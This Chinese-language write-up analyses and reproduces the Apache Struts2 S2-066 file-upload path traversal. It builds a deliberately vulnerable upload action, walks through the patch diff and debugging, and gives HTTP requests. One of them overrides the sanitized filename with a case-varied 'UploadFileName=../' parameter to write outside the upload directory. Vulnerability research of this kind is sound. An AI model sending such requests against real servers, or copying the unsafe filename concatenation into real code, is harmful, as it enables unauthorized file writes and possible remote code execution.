0%

s2-066分析与复现

漏洞描述

攻击者可以操纵文件上传参数来启用路径遍历,在某些情况下,这可能导致上传可用于执行远程代码执行的恶意文件。

解决方案:升级到 Struts 2.5.33、6.3.0.2 或更高版本。

环境搭建

以6.3.0为例

1
2
3
4
5
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>6.3.0</version>
</dependency>

UploadAction.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package com.struts2;

import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext;

import java.io.*;

public class UploadAction extends ActionSupport {

private static final long serialVersionUID = 1L;


private File upload;

// 文件类型,为name属性值 + ContentType
private String uploadContentType;

// 文件名称,为name属性值 + FileName
private String uploadFileName;

public File getUpload() {
return upload;
}

public void setUpload(File upload) {
this.upload = upload;
}

public String getUploadContentType() {
return uploadContentType;
}

public void setUploadContentType(String uploadContentType) {
this.uploadContentType = uploadContentType;
}

public String getUploadFileName() {
return uploadFileName;
}

public void setUploadFileName(String uploadFileName) {
this.uploadFileName = uploadFileName;
}

public String doUpload() {
String path = ServletActionContext.getServletContext().getRealPath("/")+"upload";
System.out.println(path);
String realPath = path + File.separator +uploadFileName;
try {
FileUtils.copyFile(upload, new File(realPath));
} catch (Exception e) {
e.printStackTrace();
}
return SUCCESS;
}

}

structs.xml

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="upload" extends="struts-default">
<action name="upload" class="com.struts2.UploadAction" method="doUpload">
<result name="success" type="">/index.jsp</result>
</action>
</package>
</struts>

web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
<display-name>Archetype Created Web Application</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>*.action</url-pattern>
</filter-mapping>
</web-app>

项目结构:

image-20241218111654756

漏洞分析

将2.5.33与2.5.32版本进行diff

image-20241218111813731

关注到第二个commit,让HttpParameters不区分大小写,先尝试执行一次正常的上传文件请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /s2_066_war_exploded/upload.action HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------366355993718908300011858789275
Content-Length: 223
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/s2_066_war_exploded/
Cookie: JSESSIONID=AF1F79D45AD1151557B3E7EF9E09A54F
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------366355993718908300011858789275
Content-Disposition: form-data; name="Upload"; filename="ycx.txt"
Content-Type: text/xml

123>
-----------------------------366355993718908300011858789275--

成功上传到upload目录

image-20241218112242352

结合漏洞描述与commit,漏洞大概可能是目录穿越与大小写造成的问题,尝试将filename修改为“../ycx1.txt”,发现依旧是上传至upload目录,并未实现目录穿越。

structs2对于文件上传有一个默认的拦截器,存在于struts-defaults.xml

1
<interceptor name="fileUpload" class="org.apache.struts2.interceptor.FileUploadInterceptor"/>

在FileUploadInterceptor#intercept方法处下个断点,进行调试

简单的过了一下,在AbstractMultiPartRequest#getCanonicalName方法发现对上传文件名进行了过滤

1
2
3
4
5
6
7
8
9
10
11
12
protected String getCanonicalName(String originalFileName) {
int forwardSlash = originalFileName.lastIndexOf(47);
int backwardSlash = originalFileName.lastIndexOf(92);
String fileName;
if (forwardSlash != -1 && forwardSlash > backwardSlash) {
fileName = originalFileName.substring(forwardSlash + 1);
} else {
fileName = originalFileName.substring(backwardSlash + 1);
}

return fileName;
}

首先是找到/或者\的位置,然后从该符号后面开始截取,对文件穿越进行了拦截

随后将文件的一些信息保存到了acceptedFiles、acceptedContentTypes、acceptedFileNames三个变量中

image-20241218134130658

然后经过param的封装,被传入到HttpParameters

image-20241218134550143

此时这个HttpParameters对象是通过上下文获取的,也就是说如果我们在发出请求时就传入某些参数,那么就有可能覆盖此时append的参数

我们可以尝试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /s2_066_war_exploded/upload.action?UploadFileName=../ycx2.txt HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------366355993718908300011858789275
Content-Length: 227
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/s2_066_war_exploded/
Cookie: JSESSIONID=AF1F79D45AD1151557B3E7EF9E09A54F
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------366355993718908300011858789275
Content-Disposition: form-data; name="Upload"; filename="ycx2.txt"
Content-Type: text/xml

123>
-----------------------------366355993718908300011858789275--

但是并未覆盖成功

image-20241218141321825

究其原因是ac.getParameters()发生在append之前,也就不存在覆盖了,再结合commit,我们再试一下小写

image-20241218141733052

可以看到此时的HttpParameters已经存在4个参数,但是这里还没有发生覆盖,只能继续向下看看,此时interceptor已经执行完毕,步入我们自己写的UploadAction

这里引用https://freebuf.com/vuls/395314.html的一句话:

1
UploadAction即是Action又是Entity。而在Entity的实例化过程中,必然是通过setXX属性来赋值。所以就有了setUploadFileName(注意首字母大写)和setuploadFileName(注意首字母小写)的需求 。而在Entity的setter与getter中,这两种需求都会被当做一种,即setUploadFileName,因此覆盖也就发生了。

第一次被赋值为ycx2.txt,第二次是../ycx2.txt

image-20241218142357753 image-20241218142410287

为什么要使用uploadFileName这样固定的字符串呢?在处理setter参数时,会调用到OgnlRuntime#capitalizeBeanPropertyName方法

1
2
3
4
5
6
7
8
9
char first = propertyName.charAt(0);
char second = propertyName.charAt(1);
if (Character.isLowerCase(first) && Character.isUpperCase(second)) {
return propertyName;
} else {
char[] chars = propertyName.toCharArray();
chars[0] = Character.toUpperCase(chars[0]);
return new String(chars);
}

如果属性第一个字符小写第二个大写直接返回,否则返回时将第一个字母大写,由于我们写的是setUploadFileName,所以传入的参数名只能是UploadFileName或者uploadFileName

另外再提一点,HttpParameters实际是一个TreeMap,在存储时,大写字母会被排在前面

image-20241218144738307

所以才会出现大写先于小写被调用

参考文章:

https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/

https://www.freebuf.com/vuls/395314.html

https://www.freebuf.com/articles/web/387790.html